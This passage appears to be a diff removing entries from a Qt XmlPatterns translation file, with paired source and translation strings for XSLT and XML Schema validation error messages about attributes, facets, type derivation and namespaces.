    -            Attribute %1 and %2 are mutually exclusive.
    -        
    -        
    -            In a simplified stylesheet module, attribute %1 must be present.
    -            In a simplified stylesheet module, attribute %1 must be present.
    -        
    -        
    -            If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -            If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -        
    -        
    -            Element %1 must have at least one of the attributes %2 or %3.
    -            Element %1 must have at least one of the attributes %2 or %3.
    -        
    -        
    -            At least one mode must be specified in the %1-attribute on element %2.
    -            At least one mode must be specified in the %1-attribute on element %2.
    -        
    -        
    -            Element %1 must come last.
    -            Element %1 must come last.
    -        
    -        
    -            At least one %1-element must occur before %2.
    -            At least one %1-element must occur before %2.
    -        
    -        
    -            Only one %1-element can appear.
    -            Only one %1-element can appear.
    -        
    -        
    -            At least one %1-element must occur inside %2.
    -            At least one %1-element must occur inside %2.
    -        
    -        
    -            When attribute %1 is present on %2, a sequence constructor cannot be used.
    -            When attribute %1 is present on %2, a sequence constructor cannot be used.
    -        
    -        
    -            Element %1 must have either a %2-attribute or a sequence constructor.
    -            Element %1 must have either a %2-attribute or a sequence constructor.
    -        
    -        
    -            When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -            When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -        
    -        
    -            Element %1 cannot have children.
    -            Element %1 cannot have children.
    -        
    -        
    -            Element %1 cannot have a sequence constructor.
    -            Element %1 cannot have a sequence constructor.
    -        
    -        
    -            The attribute %1 cannot appear on %2, when it is a child of %3.
    -            The attribute %1 cannot appear on %2, when it is a child of %3.
    -        
    -        
    -            A parameter in a function cannot be declared to be a tunnel.
    -            A parameter in a function cannot be declared to be a tunnel.
    -        
    -        
    -            This processor is not Schema-aware and therefore %1 cannot be used.
    -            This processor is not Schema-aware and therefore %1 cannot be used.
    -        
    -        
    -            Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -            Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -        
    -        
    -            The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -            The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -        
    -        
    -            Attribute %1 cannot have the value %2.
    -            Attribute %1 cannot have the value %2.
    -        
    -        
    -            The attribute %1 can only appear on the first %2 element.
    -            The attribute %1 can only appear on the first %2 element.
    -        
    -        
    -            At least one %1 element must appear as child of %2.
    -            At least one %1 element must appear as child of %2.
    -        
    -        
    -            %1 has inheritance loop in its base type %2.
    -            %1 has inheritance loop in its base type %2.
    -        
    -        
    -            Circular inheritance of base type %1.
    -            Circular inheritance of base type %1.
    -        
    -        
    -            Circular inheritance of union %1.
    -            Circular inheritance of union %1.
    -        
    -        
    -            %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
    -        
    -        
    -            %1 is not allowed to derive from %2 by extension as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by extension as the latter defines it as final.
    -        
    -        
    -            Base type of simple type %1 cannot be complex type %2.
    -            Base type of simple type %1 cannot be complex type %2.
    -        
    -        
    -            Simple type %1 cannot have direct base type %2.
    -            Simple type %1 cannot have direct base type %2.
    -        
    -        
    -            Simple type %1 is not allowed to have base type %2.
    -            Simple type %1 is not allowed to have base type %2.
    -        
    -        
    -            Simple type %1 can only have simple atomic type as base type.
    -            Simple type %1 can only have simple atomic type as base type.
    -        
    -        
    -            Simple type %1 cannot derive from %2 as the latter defines restriction as final.
    -            Simple type %1 cannot derive from %2 as the latter defines restriction as final.
    -        
    -        
    -            Variety of item type of %1 must be either atomic or union.
    -            Variety of item type of %1 must be either atomic or union.
    -        
    -        
    -            Variety of member types of %1 must be atomic.
    -            Variety of member types of %1 must be atomic.
    -        
    -        
    -            %1 is not allowed to derive from %2 by list as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by list as the latter defines it as final.
    -        
    -        
    -            Simple type %1 is only allowed to have %2 facet.
    -            Simple type %1 is only allowed to have %2 facet.
    -        
    -        
    -            Base type of simple type %1 must have variety of type list.
    -            Base type of simple type %1 must have variety of type list.
    -        
    -        
    -            Base type of simple type %1 has defined derivation by restriction as final.
    -            Base type of simple type %1 has defined derivation by restriction as final.
    -        
    -        
    -            Item type of base type does not match item type of %1.
    -            Item type of base type does not match item type of %1.
    -        
    -        
    -            Simple type %1 contains not allowed facet type %2.
    -            Simple type %1 contains not allowed facet type %2.
    -        
    -        
    -            %1 is not allowed to derive from %2 by union as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by union as the latter defines it as final.
    -        
    -        
    -            %1 is not allowed to have any facets.
    -            %1 is not allowed to have any facets.
    -        
    -        
    -            Base type %1 of simple type %2 must have variety of union.
    -            Base type %1 of simple type %2 must have variety of union.
    -        
    -        
    -            Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
    -            Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
    -        
    -        
    -            Member type %1 cannot be derived from member type %2 of %3's base type %4.
    -            Member type %1 cannot be derived from member type %2 of %3's base type %4.
    -        
    -        
    -            Derivation method of %1 must be extension because the base type %2 is a simple type.
    -            Derivation method of %1 must be extension because the base type %2 is a simple type.
    -        
    -        
    -            Complex type %1 has duplicated element %2 in its content model.
    -            Complex type %1 has duplicated element %2 in its content model.
    -        
    -        
    -            Complex type %1 has non-deterministic content.
    -            Complex type %1 has non-deterministic content.
    -        
    -        
    -            Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
    -            Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
    -        
    -        
    -            Content model of complex type %1 is not a valid extension of content model of %2.
    -            Content model of complex type %1 is not a valid extension of content model of %2.
    -        
    -        
    -            Complex type %1 must have simple content.
    -            Complex type %1 must have simple content.
    -        
    -        
    -            Complex type %1 must have the same simple type as its base class %2.
    -            Complex type %1 must have the same simple type as its base class %2.
    -        
    -        
    -            Complex type %1 cannot be derived from base type %2%3.
    -            Complex type %1 cannot be derived from base type %2%3.
    -        
    -        
    -            Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
    -            Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
    -        
    -        
    -            Complex type %1 with simple content cannot be derived from complex base type %2.
    -            Complex type %1 with simple content cannot be derived from complex base type %2.
    -        
    -        
    -            Item type of simple type %1 cannot be a complex type.
    -            Item type of simple type %1 cannot be a complex type.
    -        
    -        
    -            Member type of simple type %1 cannot be a complex type.
    -            Member type of simple type %1 cannot be a complex type.
    -        
    -        
    -            %1 is not allowed to have a member type with the same name as itself.
    -            %1 is not allowed to have a member type with the same name as itself.
    -        
    -        
    -            %1 facet collides with %2 facet.
    -            %1 facet collides with %2 facet.
    -        
    -        
    -            %1 facet must have the same value as %2 facet of base type.
    -            %1 facet must have the same value as %2 facet of base type.
    -        
    -        
    -            %1 facet must be equal or greater than %2 facet of base type.
    -            %1 facet must be equal or greater than %2 facet of base type.
    -        
    -        
    -            %1 facet must be less than or equal to %2 facet of base type.
    -            %1 facet must be less than or equal to %2 facet of base type.
    -        
    -        
    -            %1 facet contains invalid regular expression
    -            %1 facet contains invalid regular expression
    -        
    -        
    -            Unknown notation %1 used in %2 facet.
    -            Unknown notation %1 used in %2 facet.
    -        
    -        
    -            %1 facet contains invalid value %2: %3.
    -            %1 facet contains invalid value %2: %3.
    -        
    -        
    -            %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
    -            %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
    -        
    -        
    -            %1 facet cannot be %2 if %3 facet of base type is %4.
    -            %1 facet cannot be %2 if %3 facet of base type is %4.
    -        
    -        
    -            %1 facet must be less than or equal to %2 facet.
    -            %1 facet must be less than or equal to %2 facet.
    -        
    -        
    -            %1 facet must be less than %2 facet of base type.
    -            %1 facet must be less than %2 facet of base type.
    -        
    -        
    -            %1 facet and %2 facet cannot appear together.
    -            %1 facet and %2 facet cannot appear together.
    -        
    -        
    -            %1 facet must be greater than %2 facet of base type.
    -            %1 facet must be greater than %2 facet of base type.
    -        
    -        
    -            %1 facet must be less than %2 facet.
    -            %1 facet must be less than %2 facet.
    -        
    -        
    -            %1 facet must be greater than or equal to %2 facet of base type.
    -            %1 facet must be greater than or equal to %2 facet of base type.
    -        
    -        
    -            Simple type contains not allowed facet %1.
    -            Simple type contains not allowed facet %1.
    -        
    -        
    -            %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
    -            %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
    -        
    -        
    -            Only %1 and %2 facets are allowed when derived by union.
    -            Only %1 and %2 facets are allowed when derived by union.
    -        
    -        
    -            %1 contains %2 facet with invalid data: %3.
    -            %1 contains %2 facet with invalid data: %3.
    -        
    -        
    -            Attribute group %1 contains attribute %2 twice.
    -            Attribute group %1 contains attribute %2 twice.
    -        
    -        
    -            Attribute group %1 contains two different attributes that both have types derived from %2.
    -            Attribute group %1 contains two different attributes that both have types derived from %2.
    -        
    -        
    -            Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -            Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -        
    -        
    -            Complex type %1 contains attribute %2 twice.
    -            Complex type %1 contains attribute %2 twice.
    -        
    -        
    -            Complex type %1 contains two different attributes that both have types derived from %2.
    -            Complex type %1 contains two different attributes that both have types derived from %2.
    -        
    -        
    -            Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -            Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -        
    -        
    -            Element %1 is not allowed to have a value constraint if its base type is complex.
    -            Element %1 is not allowed to have a value constraint if its base type is complex.
    -        
    -        
    -            Element %1 is not allowed to have a value constraint if its type is derived from %2.
    -            Element %1 is not allowed to have a value constraint if its type is derived from %2.
    -        
    -        
    -            Value constraint of element %1 is not of elements type: %2.
    -            Value constraint of element %1 is not of elements type: %2.
    -        
    -        
    -            Element %1 is not allowed to have substitution group affiliation as it is no global element.
    -            Element %1 is not allowed to have substitution group affiliation as it is no global element.
    -        
    -        
    -            Type of element %1 cannot be derived from type of substitution group affiliation.
    -            Type of element %1 cannot be derived from type of substitution group affiliation.
    -        
    -        
    -            Value constraint of attribute %1 is not of attributes type: %2.
    -            Value constraint of attribute %1 is not of attributes type: %2.
    -        
    -        
    -            Attribute %1 has value constraint but has type derived from %2.
    -            Attribute %1 has value constraint but has type derived from %2.
    -        
    -        
    -            %1 attribute in derived complex type must be %2 like in base type.
    -            %1 attribute in derived complex type must be %2 like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have %2 value constraint like in base type.
    -            Attribute %1 in derived complex type must have %2 value constraint like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
    -            Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have %2 value constraint.
    -            Attribute %1 in derived complex type must have %2 value constraint.
    -        
    -        
    -            processContent of base wildcard must be weaker than derived wildcard.
    -            processContent of base wildcard must be weaker than derived wildcard.
    -        
    -        
    -            Element %1 exists twice with different types.
    -            Element %1 exists twice with different types.
    -        
    -        
    -            Particle contains non-deterministic wildcards.
    -            Particle contains non-deterministic wildcards.
    -        
    -        
    -            Base attribute %1 is required but derived attribute is not.
    -            Base attribute %1 is required but derived attribute is not.
    -        
    -        
    -            Type of derived attribute %1 cannot be validly derived from type of base attribute.
    -            Type of derived attribute %1 cannot be validly derived from type of base attribute.
    -        
    -        
    -            Value constraint of derived attribute %1 does not match value constraint of base attribute.
    -            Value constraint of derived attribute %1 does not match value constraint of base attribute.
    -        
    -        
    -            Derived attribute %1 does not exist in the base definition.
    -            Derived attribute %1 does not exist in the base definition.
    -        
    -        
    -            Derived attribute %1 does not match the wildcard in the base definition.
    -            Derived attribute %1 does not match the wildcard in the base definition.
    -        
    -        
    -            Base attribute %1 is required but missing in derived definition.
    -            Base attribute %1 is required but missing in derived definition.
    -        
    -        
    -            Derived definition contains an %1 element that does not exists in the base definition
    -            Derived definition contains an %1 element that does not exists in the base definition
    -        
    -        
    -            Derived wildcard is not a subset of the base wildcard.
    -            Derived wildcard is not a subset of the base wildcard.
    -        
    -        
    -            %1 of derived wildcard is not a valid restriction of %2 of base wildcard
    -            %1 of derived wildcard is not a valid restriction of %2 of base wildcard
    -        
    -        
    -            Attribute %1 from base type is missing in derived type.
    -            Attribute %1 from base type is missing in derived type.
    -        
    -        
    -            Type of derived attribute %1 differs from type of base attribute.
    -            Type of derived attribute %1 differs from type of base attribute.
    -        
    -        
    -            Base definition contains an %1 element that is missing in the derived definition
    -            Base definition contains an %1 element that is missing in the derived definition
    -        
    -        
    -            %1 references unknown %2 or %3 element %4.
    -            %1 references unknown %2 or %3 element %4.
    -        
    -        
    -            %1 references identity constraint %2 that is no %3 or %4 element.
    -            %1 references identity constraint %2 that is no %3 or %4 element.
    -        
    -        
    -            %1 has a different number of fields from the identity constraint %2 that it references.
    -            %1 has a different number of fields from the identity constraint %2 that it references.
    -        
    -        
    -            Base type %1 of %2 element cannot be resolved.
    -            Base type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Item type %1 of %2 element cannot be resolved.
    -            Item type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Member type %1 of %2 element cannot be resolved.
    -            Member type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Type %1 of %2 element cannot be resolved.
    -            Type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Base type %1 of complex type cannot be resolved.
    -            Base type %1 of complex type cannot be resolved.
    -        
    -        
    -            %1 cannot have complex base type that has a %2.
    -            %1 cannot have complex base type that has a %2.
    -        
    -        
    -            Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
    -            Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
    -        
    -        
    -            Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
    -            Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
    -        
    -        
    -            Type of %1 element must be a simple type, %2 is not.
    -            Type of %1 element must be a simple type, %2 is not.
    -        
    -        
    -            Substitution group %1 of %2 element cannot be resolved.
    -            Substitution group %1 of %2 element cannot be resolved.
    -        
    -        
    -            Substitution group %1 has circular definition.
    -            Substitution group %1 has circular definition.
    -        
    -        
    -            Duplicated element names %1 in %2 element.
    -            Duplicated element names %1 in %2 element.
    -        
    -        
    -            Reference %1 of %2 element cannot be resolved.
    -            Reference %1 of %2 element cannot be resolved.
    -        
    -        
    -            Circular group reference for %1.
    -            Circular group reference for %1.
    -        
    -        
    -            %1 element is not allowed in this scope
    -            %1 element is not allowed in this scope
    -        
    -        
    -            %1 element cannot have %2 attribute with value other than %3.
    -            %1 element cannot have %2 attribute with value other than %3.
    -        
    -        
    -            %1 element cannot have %2 attribute with value other than %3 or %4.
    -            %1 element cannot have %2 attribute with value other than %3 or %4.
    -        
    -        
    -            %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
    -            %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
    -        
    -        
    -            Attribute group %1 has circular reference.
    -            Attribute group %1 has circular reference.
    -        
    -        
    -            %1 attribute in %2 must have %3 use like in base type %4.
    -            %1 attribute in %2 must have %3 use like in base type %4.
    -        
    -        
    -            Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
    -            Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
    -        
    -        
    -            %1 has attribute wildcard but its base type %2 has not.
    -            %1 has attribute wildcard but its base type %2 has not.
    -        
    -        
    -            Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
    -            Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
    -        
    -        
    -            Enumeration facet contains invalid content: {%1} is not a value of type %2.
    -            Enumeration facet contains invalid content: {%1} is not a value of type %2.
    -        
    -        
    -            Namespace prefix of qualified name %1 is not defined.
    -            Namespace prefix of qualified name %1 is not defined.
    -        
    -        
    -            %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
    -            %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
    -        
    -        
    -            Empty particle cannot be derived from non-empty particle.
    -            Empty particle cannot be derived from non-empty particle.
    -        
    -        
    -            Derived particle is missing element %1.
    -            Derived particle is missing element %1.
    -        
    -        
    -            Derived element %1 is missing value constraint as defined in base particle.
    -            Derived element %1 is missing value constraint as defined in base particle.
    -        
    -        
    -            Derived element %1 has weaker value constraint than base particle.
    -            Derived element %1 has weaker value constraint than base particle.
    -        
    -        
    -            Fixed value constraint of element %1 differs from value constraint in base particle.
    -            Fixed value constraint of element %1 differs from value constraint in base particle.
    -        
    -        
    -            Derived element %1 cannot be nillable as base element is not nillable.
    -            Derived element %1 cannot be nillable as base element is not nillable.
    -        
    -        
    -            Block constraints of derived element %1 must not be more weaker than in the base element.
    -            Block constraints of derived element %1 must not be more weaker than in the base element.
    -        
    -        
    -            Simple type of derived element %1 cannot be validly derived from base element.
    -            Simple type of derived element %1 cannot be validly derived from base element.
    -        
    -        
    -            Complex type of derived element %1 cannot be validly derived from base element.
    -            Complex type of derived element %1 cannot be validly derived from base element.
    -        
    -        
    -            Element %1 is missing in derived particle.
    -            Element %1 is missing in derived particle.
    -        
    -        
    -            Element %1 does not match namespace constraint of wildcard in base particle.
    -            Element %1 does not match namespace constraint of wildcard in base particle.
    -        
    -        
    -            Wildcard in derived particle is not a valid subset of wildcard in base particle.
    -            Wildcard in derived particle is not a valid subset of wildcard in base particle.
    -        
    -        
    -            processContent of wildcard in derived particle is weaker than wildcard in base particle.
    -            processContent of wildcard in derived particle is weaker than wildcard in base particle.
    -        
    -        
    -            Derived particle allows content that is not allowed in the base particle.
    -            Derived particle allows content that is not allowed in the base particle.
    -        
    -        
    -            Can not process unknown element %1, expected elements are: %2.
    -            Can not process unknown element %1, expected elements are: %2.
    -        
    -        
    -            Element %1 is not allowed in this scope, possible elements are: %2.
    -            Element %1 is not allowed in this scope, possible elements are: %2.
    -        
    -        
    -            Child element is missing in that scope, possible child elements are: %1.
    -            Child element is missing in that scope, possible child elements are: %1.
    -        
    -        
    -            Document is not a XML schema.
    -            Document is not a XML schema.
    -        
    -        
    -            %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
    -            %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
    -        
    -        
    -            %1 attribute of %2 element contains invalid content: {%3}.
    -            %1 attribute of %2 element contains invalid content: {%3}.
    -        
    -        
    -            Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
    -            Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
    -        
    -        
    -            Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
    -            Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
    -        
    -        
    -            %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
    -            %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
    -        
    -        
    -            %1 element without %2 attribute is not allowed inside schema without target namespace.
    -            %1 element without %2 attribute is not allowed inside schema without target namespace.
    -        
    -        
    -            %1 element is not allowed inside %2 element if %3 attribute is present.
    -            %1 element is not allowed inside %2 element if %3 attribute is present.
    -        
    -        
    -            %1 element has neither %2 attribute nor %3 child element.
    -            %1 element has neither %2 attribute nor %3 child element.
    -        
    -        
    -            %1 element with %2 child element must not have a %3 attribute.
    -            %1 element with %2 child element must not have a %3 attribute.
    -        
    -        
    -            %1 attribute of %2 element must be %3 or %4.
    -            %1 attribute of %2 element must be %3 or %4.
    -        
    -        
    -            %1 attribute of %2 element must have a value of %3.
    -            %1 attribute of %2 element must have a value of %3.
    -        
    -        
    -            %1 attribute of %2 element must have a value of %3 or %4.
    -            %1 attribute of %2 element must have a value of %3 or %4.
    -        
    -        
    -            %1 element must not have %2 and %3 attribute together.
    -            %1 element must not have %2 and %3 attribute together.
    -        
    -        
    -            Content of %1 attribute of %2 element must not be from namespace %3.
    -            Content of %1 attribute of %2 element must not be from namespace %3.
    -        
    -        
    -            %1 attribute of %2 element must not be %3.
    -            %1 attribute of %2 element must not be %3.
    -        
    -        
    -            %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
    -            %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
    -        
    -        
    -            Specifying use='prohibited' inside an attribute group has no effect.
    -            Specifying use='prohibited' inside an attribute group has no effect.
    -        
    -        
    -            %1 element must have either %2 or %3 attribute.
    -            %1 element must have either %2 or %3 attribute.
    -        
    -        
    -            %1 element must have either %2 attribute or %3 or %4 as child element.
    -            %1 element must have either %2 attribute or %3 or %4 as child element.
    -        
    -        
    -            %1 element requires either %2 or %3 attribute.
    -            %1 element requires either %2 or %3 attribute.
    -        
    -        
    -            Text or entity references not allowed inside %1 element
    -            Text or entity references not allowed inside %1 element
    -        
    -        
    -            %1 attribute of %2 element must contain %3, %4 or a list of URIs.
    -            %1 attribute of %2 element must contain %3, %4 or a list of URIs.
    -        
    -        
    -            %1 element is not allowed in this context.
    -            %1 element is not allowed in this context.
    -        
    -        
    -            %1 attribute of %2 element has larger value than %3 attribute.
    -            %1 attribute of %2 element has larger value than %3 attribute.
    -        
    -        
    -            Prefix of qualified name %1 is not defined.
    -            Prefix of qualified name %1 is not defined.
    -        
    -        
    -            %1 attribute of %2 element must either contain %3 or the other values.
    -            %1 attribute of %2 element must either contain %3 or the other values.
    -        
    -        
    -            Component with ID %1 has been defined previously.
    -            Component with ID %1 has been defined previously.
    -        
    -        
    -            Element %1 already defined.
    -            Element %1 already defined.
    -        
    -        
    -            Attribute %1 already defined.
    -            Attribute %1 already defined.
    -        
    -        
    -            Type %1 already defined.
    -            Type %1 already defined.
    -        
    -        
    -            Attribute group %1 already defined.
    -            Attribute group %1 already defined.
    -        
    -        
    -            Element group %1 already defined.
    -            Element group %1 already defined.
    -        
    -        
    -            Notation %1 already defined.
    -            Notation %1 already defined.
    -        
    -        
    -            Identity constraint %1 already defined.
    -            Identity constraint %1 already defined.
    -        
    -        
    -            Duplicated facets in simple type %1.
    -            Duplicated facets in simple type %1.
    -        
    -        
    -            %1 is not valid according to %2.
    -            %1 is not valid according to %2.
    -        
    -        
    -            String content does not match the length facet.
    -            String content does not match the length facet.
    -        
    -        
    -            String content does not match the minLength facet.
    -            String content does not match the minLength facet.
    -        
    -        
    -            String content does not match the maxLength facet.
    -            String content does not match the maxLength facet.
    -        
    -        
    -            String content does not match pattern facet.
    -            String content does not match pattern facet.
    -        
    -        
    -            String content is not listed in the enumeration facet.
    -            String content is not listed in the enumeration facet.
    -        
    -        
    -            Signed integer content does not match the maxInclusive facet.
    -            Signed integer content does not match the maxInclusive facet.
    -        
    -        
    -            Signed integer content does not match the maxExclusive facet.
    -            Signed integer content does not match the maxExclusive facet.
    -        
    -        
    -            Signed integer content does not match the minInclusive facet.
    -            Signed integer content does not match the minInclusive facet.
    -        
    -        
    -            Signed integer content does not match the minExclusive facet.
    -            Signed integer content does not match the minExclusive facet.
    -        
    -        
    -            Signed integer content is not listed in the enumeration facet.
    -            Signed integer content is not listed in the enumeration facet.
    -        
    -        
    -            Signed integer content does not match pattern facet.
    -            Signed integer content does not match pattern facet.
    -        
    -        
    -            Signed integer content does not match in the totalDigits facet.
    -            Signed integer content does not match in the totalDigits facet.
    -        
    -        
    -            Unsigned integer content does not match the maxInclusive facet.
    -            Unsigned integer content does not match the maxInclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the maxExclusive facet.
    -            Unsigned integer content does not match the maxExclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the minInclusive facet.
    -            Unsigned integer content does not match the minInclusive facet.
    -        
    -        
    -            Unsigned integer content does not match the minExclusive facet.
    -            Unsigned integer content does not match the minExclusive facet.
    -        
    -        
    -            Unsigned integer content is not listed in the enumeration facet.
    -            Unsigned integer content is not listed in the enumeration facet.
    -        
    -        
    -            Unsigned integer content does not match pattern facet.
    -            Unsigned integer content does not match pattern facet.
    -        
    -        
    -            Unsigned integer content does not match in the totalDigits facet.
    -            Unsigned integer content does not match in the totalDigits facet.
    -        
    -        
    -            Double content does not match the maxInclusive facet.
    -            Double content does not match the maxInclusive facet.
    -        
    -        
    -            Double content does not match the maxExclusive facet.
    -            Double content does not match the maxExclusive facet.
    -        
    -        
    -            Double content does not match the minInclusive facet.
    -            Double content does not match the minInclusive facet.
    -        
    -        
    -            Double content does not match the minExclusive facet.
    -            Double content does not match the minExclusive facet.
    -        
    -        
    -            Double content is not listed in the enumeration facet.
    -            Double content is not listed in the enumeration facet.
    -        
    -        
    -            Double content does not match pattern facet.
    -            Double content does not match pattern facet.
    -        
    -        
    -            Decimal content does not match in the fractionDigits facet.
    -            Decimal content does not match in the fractionDigits facet.
    -        
    -        
    -            Decimal content does not match in the totalDigits facet.
    -            Decimal content does not match in the totalDigits facet.
    -        
    -        
    -            Date time content does not match the maxInclusive facet.
    -            Date time content does not match the maxInclusive facet.
    -        
    -        
    -            Date time content does not match the maxExclusive facet.
    -            Date time content does not match the maxExclusive facet.
    -        
    -        
    -            Date time content does not match the minInclusive facet.
    -            Date time content does not match the minInclusive facet.
    -        
    -        
    -            Date time content does not match the minExclusive facet.
    -            Date time content does not match the minExclusive facet.
    -        
    -        
    -            Date time content is not listed in the enumeration facet.
    -            Date time content is not listed in the enumeration facet.
    -        
    -        
    -            Date time content does not match pattern facet.
    -            Date time content does not match pattern facet.
    -        
    -        
    -            Duration content does not match the maxInclusive facet.
    -            Duration content does not match the maxInclusive facet.
    -        
    -        
    -            Duration content does not match the maxExclusive facet.
    -            Duration content does not match the maxExclusive facet.
    -        
    -        
    -            Duration content does not match the minInclusive facet.
    -            Duration content does not match the minInclusive facet.
    -        
    -        
    -            Duration content does not match the minExclusive facet.
    -            Duration content does not match the minExclusive facet.
    -        
    -        
    -            Duration content is not listed in the enumeration facet.
    -            Duration content is not listed in the enumeration facet.
    -        
    -        
    -            Duration content does not match pattern facet.
    -            Duration content does not match pattern facet.
    -        
    -        
    -            Boolean content does not match pattern facet.
    -            Boolean content does not match pattern facet.
    -        
    -        
    -            Binary content does not match the length facet.
    -            Binary content does not match the length facet.
    -        
    -        
    -            Binary content does not match the minLength facet.
    -            Binary content does not match the minLength facet.
    -        
    -        
    -            Binary content does not match the maxLength facet.
    -            Binary content does not match the maxLength facet.
    -        
    -        
    -            Binary content is not listed in the enumeration facet.
    -            Binary content is not listed in the enumeration facet.
    -        
    -        
    -            Invalid QName content: %1.
    -            Invalid QName content: %1.
    -        
    -        
    -            QName content is not listed in the enumeration facet.
    -            QName content is not listed in the enumeration facet.
    -        
    -        
    -            QName content does not match pattern facet.
    -            QName content does not match pattern facet.
    -        
    -        
    -            Notation content is not listed in the enumeration facet.
    -            Notation content is not listed in the enumeration facet.
    -        
    -        
    -            List content does not match length facet.
    -            List content does not match length facet.
    -        
    -        
    -            List content does not match minLength facet.
    -            List content does not match minLength facet.
    -        
    -        
    -            List content does not match maxLength facet.
    -            List content does not match maxLength facet.
    -        
    -        
    -            List content is not listed in the enumeration facet.
    -            List content is not listed in the enumeration facet.
    -        
    -        
    -            List content does not match pattern facet.
    -            List content does not match pattern facet.
    -        
    -        
    -            Union content is not listed in the enumeration facet.
    -            Union content is not listed in the enumeration facet.
    -        
    -        
    -            Union content does not match pattern facet.
    -            Union content does not match pattern facet.
    -        
    -        
    -            Data of type %1 are not allowed to be empty.
    -            Data of type %1 are not allowed to be empty.
    -        
    -        
    -            Element %1 is missing child element.
    -            Element %1 is missing child element.
    -        
    -        
    -            There is one IDREF value with no corresponding ID: %1.
    -            There is one IDREF value with no corresponding ID: %1.
    -        
    -        
    -            Loaded schema file is invalid.
    -            Loaded schema file is invalid.
    -        
    -        
    -            %1 contains invalid data.
    -            %1 contains invalid data.
    -        
    -        
    -            xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
    -            xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.
    -        
    -        
    -            xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
    -            xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.
    -        
    -        
    -            No schema defined for validation.
    -            No schema defined for validation.
    -        
    -        
    -            No definition for element %1 available.
    -            No definition for element %1 available.
    -        
    -        
    -            Specified type %1 is not known to the schema.
    -            Specified type %1 is not known to the schema.
    -        
    -        
    -            Element %1 is not defined in this scope.
    -            Element %1 is not defined in this scope.
    -        
    -        
    -            Declaration for element %1 does not exist.
    -            Declaration for element %1 does not exist.
    -        
    -        
    -            Element %1 contains invalid content.
    -            Element %1 contains invalid content.
    -        
    -        
    -            Element %1 is declared as abstract.
    -            Element %1 is declared as abstract.
    -        
    -        
    -            Element %1 is not nillable.
    -            Element %1 is not nillable.
    -        
    -        
    -            Attribute %1 contains invalid data: %2
    -            Attribute %1 contains invalid data: %2
    -        
    -        
    -            Element contains content although it is nillable.
    -            Element contains content although it is nillable.
    -        
    -        
    -            Fixed value constraint not allowed if element is nillable.
    -            Fixed value constraint not allowed if element is nillable.
    -        
    -        
    -            Element %1 cannot contain other elements, as it has a fixed content.
    -            Element %1 cannot contain other elements, as it has a fixed content.
    -        
    -        
    -            Specified type %1 is not validly substitutable with element type %2.
    -            Specified type %1 is not validly substitutable with element type %2.
    -        
    -        
    -            Complex type %1 is not allowed to be abstract.
    -            Complex type %1 is not allowed to be abstract.
    -        
    -        
    -            Element %1 contains not allowed attributes.
    -            Element %1 contains not allowed attributes.
    -        
    -        
    -            Element %1 contains not allowed child element.
    -            Element %1 contains not allowed child element.
    -        
    -        
    -            Content of element %1 does not match its type definition: %2.
    -            Content of element %1 does not match its type definition: %2.
    -        
    -        
    -            Content of element %1 does not match defined value constraint.
    -            Content of element %1 does not match defined value constraint.
    -        
    -        
